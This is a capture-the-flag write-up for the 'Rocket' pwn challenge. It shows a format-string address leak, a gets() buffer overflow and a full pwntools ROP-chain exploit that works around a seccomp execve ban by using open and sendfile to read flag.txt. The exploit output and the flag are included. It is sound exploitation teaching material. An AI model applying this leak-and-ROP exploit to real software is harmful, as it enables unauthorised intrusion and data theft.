# Rocket
Category: pwn
Endpoint: 0.cloud.chals.io:13163
Files: A single executable called "pwn-rocket"
---### Solution:
After running the executable produced output similar to this:```[msaw328]$ ./pwn-rocketPlease authenticate >>>Hello<<< Welcome: HelloWelcome To Mission Control. Tell me to do something >>>Launch<<< Invalid Command.[msaw328]$```It asked for input and a command to perform. I did not get a response other than "Invalid Command" to any commands i typed in, so i decided to analyze it in Ghidra instead. The decompilation of the `main()` function looked like this:
```cundefined8 main(void)
{  secure();  vuln();  return 0;}```
The second function's name hinted where the good stuff might be :) but i decided to inspect the `secure()` function first:
```cvoid secure(void)
{  undefined8 uVar1;   uVar1 = seccomp_init(0x7fff0000);  seccomp_rule_add(uVar1,0,0x3b,0);  seccomp_load(uVar1);  return;}```
Seccomp is a mechanism in Linux kernel which allows a process to limit the system calls it is allowed to perform. The `seccomp_*()` functions come from libseccomp which provides a nice API that can be used to create filters. These use rules (similarly to a firewall) which describe what actions should Kernel take once a system call arrives. The actions may range from allowing the syscall with no side effects, to killing the process/thread.
This information was important to me, as it meant that i might not be able to execute certain syscalls freely. Sadly, Ghidra did not decode the constants used in functions, so i did it manually. By inspecting the `seccomp.h` header in libseccomp, i was able to find the values which meant "kill the process/thread" when set:
```c/** * Kill the process */#define SCMP_ACT_KILL_PROCESS	0x80000000U
/** * Kill the thread */#define SCMP_ACT_KILL_THREAD	0x00000000U```
Neither of those values matched the default action specified as an argument to `seccomp_init()`. Good news for me, as it meant that the filter was quite permissive. Aside from a small number of system calls (1 to be exact, as suggested by the number of `seccomp_rule_add()` calls on the filter) none should cause the process to terminate. I did not really care about other actions defined by the argument so i went on to inspect the rule itself.
The `seccomp_rule_add()` function accepts four arguments by default:1. The `scmp_filter_ctx` containing the filter to attach the rule to2. The action to perform3. The system call number that this rule matches on4. The count of additional arguments, which match the rule based on arguments of the system call in addition to the syscall number itself
In this case the system call number was 59 (0x3b in decimal), which meant `execve()`. The number of additional arguments was 0, so arguments passed to the syscall did not matter. Finally, the action flags (second argument) were equal to 0 - the action was `SCMP_ACT_KILL_THREAD`.
Long story short, it meant that i was not able to use `system()` or `execve()` during exploitation of the binary. Afterwards i looked into the `vuln()` function:```cvoid vuln(void)
{  int iVar1;  char local_48 [32];  char local_28 [32];   puts("Please authenticate >>>");  gets(local_28);  printf("<<< Welcome: ");  printf(local_28);  putchar(10);  puts("Welcome To Mission Control. Tell me to do something >>>");  gets(local_48);  iVar1 = strcmp(local_48,"CPU");  if (iVar1 == 0) {    print_cpu_details();  }  else {    iVar1 = strcmp(local_48,"LOGO");    if (iVar1 == 0) {      print_logo();    }    else {      puts("<<< Invalid Command.");    }  }  return;}```I have found two commands which the program accepted: CPU nad LOGO. The former printed unimportant CPU information, while the latter printed an ASCII logo with a rocket on it (cute, but i will not show it here as it was quite large). The logo additionally contained two strings in the bottom right corner: 
```cvoid print_logo(void)
{  // ... Many calls to puts() here ...  puts("M0oxXMMMMMNxoKWMMMMO::kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM/bin/sh");  puts("MMMMMMMMMMMMMMMMMMMKONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMflag.txt");  return;}```The presence of "/bin/sh" was _clearly_ mocking me (unnecesarily, might i add) due to my inability to call `system()`. The "flag.txt" string on the other hand seemed much more useful so i took note of that.
The actual "vuln" part in the `vuln()` function was twofold:- The `gets()` call, which would allow me to override the saved %rip- The `printf()` with user supplied buffer as the first argument, which allowed me to look into the data on the stack
At this time i also decided to run checksec:```[msaw328]$ checksec --file=./pwn-rocket [*] '/SpaceHeroes2022/pwn/rocket/pwn-rocket'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled[msaw328]$```which told me that the stack cookie was absent, but the executable was position independent. This made me assume that ASLR was also turned on.
Considering all the findings, the plan i came up with was as follows:
1. Using `printf()` format string vulnerability, find an address on the stack pointing into the binary to find its randomized address2. Using the Return-oriented programming technique create a ROP chain3. Use second `gets()` call to write a payload with the ROP chain to the stack
The chain could not be a simple `execve("/bin/sh")` call, so i had to read the flag manually. Normally this would probably be done by a sequence of `open()`, `read()` and `write()` syscalls but i decided to attempt a simplified version using `sendfile()`.
`sendfile()` (system call number 40) allows a data transfer directly from one file descriptor to another. In normal use this increases performance since there is no need to copy data from kernel space to user space. In binary exploitation, however, it fuses two system calls into one, reducing payload size. Additionally, it removes the necessity of having a buffer in memory with RW permissions.
The caveat is that `syscall()` takes four arguments, compared to three arguments necessary for either a `read()` or `write()` call. In addition to that, the fourth argument is the number of bytes to transfer, which is important and cannot be neglected. Because of this, if a `pop %r10;` gadget is not available then `sendfile()` may be hard to use.
To find gadgets for my ROP chain i used both Ghidra and Ropper. In Ghidra there was a number of functions which seemingly served no purpose:
![Ghidra functions](https://raw.githubusercontent.com/msaw328/ctf_writeups/master/SpaceHeroes-2022/rocket/ghidra_functions.png)
`ignore_me()` called `setbuf()` on standard IO streams while `print_cpu_details()` and `print_logo()` executed the CPU and LOGO commands and did not seem very useful.At the same time, a number of smaller functions named `ret_*()` and `mov_rocket()` was clearly there to provide necessary gadgets:
```                mov_rocket():001014e1 55              PUSH       RBP001014e2 48 89 e5        MOV        RBP,RSP001014e5 48 89 f0        MOV        RAX,RSI001014e8 c3              RET```
```                ret_rocket()0010120c 55              PUSH       RBP0010120d 48 89 e5        MOV        RBP,RSP00101210 58              POP        RAX00101211 c3              RET```(Other `ret_*()` functions were constructed similarly)
I gathered these addresses which seemed useful (since the binary is PIE they are all relative!):
```pythonGDGT_POP_RAX = 0x0000000000001210GDGT_POP_RDI = 0x000000000000168bGDGT_POP_RSI_POP_R15 = 0x0000000000001689GDGT_POP_RDX = 0x00000000000014beGDGT_POP_R10 = 0x00000000000014c7GDGT_POP_R8 = 0x00000000000014d1GDGT_SYSCALL = 0x00000000000014db
STR_FLAGTXT = 0x2d70 + 'MMMMMMMMMMMMMMMMMMMKONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMflag.txt'.index('f')VULN_FUNC = 0x0001531```
The gadget addresses and `vuln()` function were found mostly using Ropper and Ghidra. "flag.txt" is part of a bigger string so its address is offset by the index of 'f' from the address found using the strings command:
```[msaw328]$ strings -t x pwn-rocket | grep flag2d70 MMMMMMMMMMMMMMMMMMMKONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMflag.txt```
Afterwards i started experimenting with the format string vulnerability. My goal was to find an address that looked like it could come from a binary. The best way to look that i know is using a format string of form "%n$p" where n is a number. This prints the n-th argument to `printf()` as a **p**ointer. I found a cool address at n = 7:
```[msaw328]$ ./pwn-rocket Please authenticate >>>%7$p<<< Welcome: 0x565356d0b606Welcome To Mission Control. Tell me to do something >>>...```The address looked like it came from the binary - stack addresses usually start with "0x7f" in my experience.
---#### Disclaimer:There is one problem here that i did not realise until later. The n that i found the address at heavily depends on the environment/platform. In fact, i wrote the entire exploit using %7$p and it worked _flawlessly_ on my local machine. Once i switched the exploit to target the remote, however, it stopped working. Once i verified my python exploit code and tested a few more times locally i asked the author on discord what could be the case, and they hinted that the binary is running on `kalilinux/kali-rolling` Docker container.
I then downloaded the container locally and ran it in interactive mode:```[msaw328]$ docker pull kalilinux/kali-rolling[msaw328]$ docker run --rm -it --name rocket_pwn kalilinux/kali-rolling /bin/bash┌──(root㉿c3d7882dba75)-[/]└─# ```After installing python3, pwntools and other necessities inside of the container, i copied my files in there (using another terminal):```[msaw328]$ docker cp ./solve.py rocket_pwn:/[msaw328]$ docker cp ./pwn-rocket rocket_pwn:/```
And reconstructed steps mentioned below inside of the container. This resulted in different value for n, equal to 6. Off by one error!
Im putting this disclaimer here to put emphasis on meticulous reconstruction of environment and how these little things matter. While i performed all the further steps locally first, i will from now on describe them the way they were done inside of the container as this is the version that gave me the flag.
#### End of disclaimer :)---
After finding a promising n for the format string vuln, i used gdb to find the offset. I ran `gdb ./pwn-rocket` and enabled ASLR using `aslr on`. Afterwards i set breakpoint at the beginning of `vuln()` using `break vuln` and ran the program using `r`. I then stepped over instructions using `so` (which i believe is not part of standard gdb and comes from the pwndbg extension instead) until the vulnerable `gets()` function, and typed in "%6$p" at input. Again, i skipped over instructions until the binary gave output back to me:
```pwndbg> Temporary breakpoint 17 at 0x55fcc7efb57e0x558299cca0e0...```I then used `vmmap` (also from pwndbg, but `info proc mappings` from vanilla gdb may also be used for this purpose) to look at the base address of the binary```pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA    0x558299cc9000     0x558299cca000 r--p     1000 0      /SpaceHeroes2022/pwn/rocket/pwn-rocket    ...```After finding both of these values, i calcualted the offset in python as:```pythonBINARY_OFFSET = 0x558299cca0e0 - 0x558299cc9000```All that was necessary now was to build the payload and send it to the remote using pwntools. I decided on two separate payloads for no particular reason:1. First payload would call `open("flag.txt", O_RDONLY)` and i would assume the returned fd to be 3 (based on the fact that 0 1 and 2 are taken by standard IO, but i don't think it is guaranteed to be 3)2. Afterwards `vuln()` would be called second time, to input another payload3. Second payload would call `sendfile(1, 3, 0, 100)` which writes 100 bytes from fd 3 to fd 1 (stdout) at offset 0. The number of bytes was chosen as arbitrarily big, as `sendfile()` reads until there is data avilable - 100 is just the upper limit.4. I would filter the output in search of anything that looks like a flag :)
The exploit starts by initializing pwntools:```pythonfrom pwn import *
context.arch = 'amd64'context.terminal = ['konsole', '-e']```followed by the addresses mentioned earlier, followed by remote connection and address leak using the format string vuln:```pythons = remote('0.cloud.chals.io', 13163)
print('PROG OUT:', s.readline())FMT_STR = b'%6$p's.writeline(FMT_STR) # <- This inputs the format string>
print('PROG OUT:', s.readuntil(b':')) # <- This reads until "Welcome:"addr_leak = s.readline().decode() # <- The rest of the line contains leaked addrprint('ADDR LEAK:', addr_leak)
BINARY_BASE = int(addr_leak.strip(), 16) - BINARY_OFFSET # <- Base address calc
print('BIN BASE LEAK:', hex(BINARY_BASE))print('VULN:', hex(BINARY_BASE + VULN_FUNC))
print('PROG OUT:', s.readline())```
Afterwards the first payload can be constructed (notice how every address is offset by the base address of the binary!):```pythonpayload = b'A' * 72 # <- Padding until saved %rip, found by trial and error
# First we call open()payload += p64(BINARY_BASE + GDGT_POP_RDI) # first arg -> filenamepayload += p64(BINARY_BASE + STR_FLAGTXT) # set to "flag.txt"
payload += p64(BINARY_BASE + GDGT_POP_RSI_POP_R15) # second arg -> flagspayload += p64(0x0) # 0 -> O_RDONLYpayload += p64(0xdeadbeef) # garbage for r15
payload += p64(BINARY_BASE + GDGT_POP_RDX) # third arg -> modepayload += p64(0x0) # no mode
payload += p64(BINARY_BASE + GDGT_POP_RAX) # rax contains syscall numberpayload += p64(2) # 2 is open()
payload += p64(BINARY_BASE + GDGT_SYSCALL) # perform syscall
payload += p64(BINARY_BASE + VULN_FUNC) # return to vuln()```
Later, second payload can be constructed and sent during the second call to the `vuln()` function:```python# afterwards call sendfile()payload = b'A' * 72
payload += p64(BINARY_BASE + GDGT_POP_RDI) # first arg -> out_fdpayload += p64(1) # stdout
payload += p64(BINARY_BASE + GDGT_POP_RSI_POP_R15) # second arg -> in_fdpayload += p64(3) # will most likely be 3 after open()payload += p64(0xdaedbeef)
payload += p64(BINARY_BASE + GDGT_POP_RDX) # third arg -> offsetpayload += p64(0)
payload += p64(BINARY_BASE + GDGT_POP_R10) # third arg -> countpayload += p64(100)
payload += p64(BINARY_BASE + GDGT_POP_RAX) # rax contains syscall numberpayload += p64(40) # 40 is sendfile
payload += p64(BINARY_BASE + GDGT_SYSCALL) # perform syscall
payload += p64(BINARY_BASE + VULN_FUNC) # return to vuln()
print('PROG OUT:', s.readuntil(b"Please authenticate >>>\n"))s.writeline(b'test')
print('PROG OUT:', s.read())print('SENDING PAYLOAD2:', payload)s.writeline(payload)
s.interactive()```In the end i decided to call `s.interactive()` to recieve any leftover output from the remote, but this is not an interactive exploit of the `system("bin/sh")` variety so there is no input to the script.
After running the exploit script i got the flag:```[msaw328]$ python solve.py [+] Opening connection to 0.cloud.chals.io on port 13163: DonePROG OUT: b'Please authenticate >>>\n'PROG OUT: b'<<< Welcome:'ADDR LEAK:  0x5641ae1530e0
BIN BASE LEAK: 0x5641ae152000VULN: 0x5641ae153531PROG OUT: b'Welcome To Mission Control. Tell me to do something >>>\n'SENDING PAYLOAD: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b6\x15\xaeAV\x00\x00\xb8M\x15\xaeAV\x00\x00\x896\x15\xaeAV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xbe4\x15\xaeAV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x102\x15\xaeAV\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xdb4\x15\xaeAV\x00\x0015\x15\xaeAV\x00\x00'PROG OUT: b'<<< Invalid Command.\nPlease authenticate >>>\n'PROG OUT: b'<<< Welcome: test\nWelcome To Mission Control. Tell me to do something >>>\n'SENDING PAYLOAD2: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b6\x15\xaeAV\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x896\x15\xaeAV\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xed\xda\x00\x00\x00\x00\xbe4\x15\xaeAV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc74\x15\xaeAV\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x102\x15\xaeAV\x00\x00(\x00\x00\x00\x00\x00\x00\x00\xdb4\x15\xaeAV\x00\x0015\x15\xaeAV\x00\x00'[*] Switching to interactive mode<<< Invalid Command.shctf{1-sma11-St3p-f0r-mAn-1-Giant-l3ap-f0r-manK1nd}Please authenticate >>>[*] Got EOF while reading in interactive$ ```
### Flag: `shctf{1-sma11-St3p-f0r-mAn-1-Giant-l3ap-f0r-manK1nd}`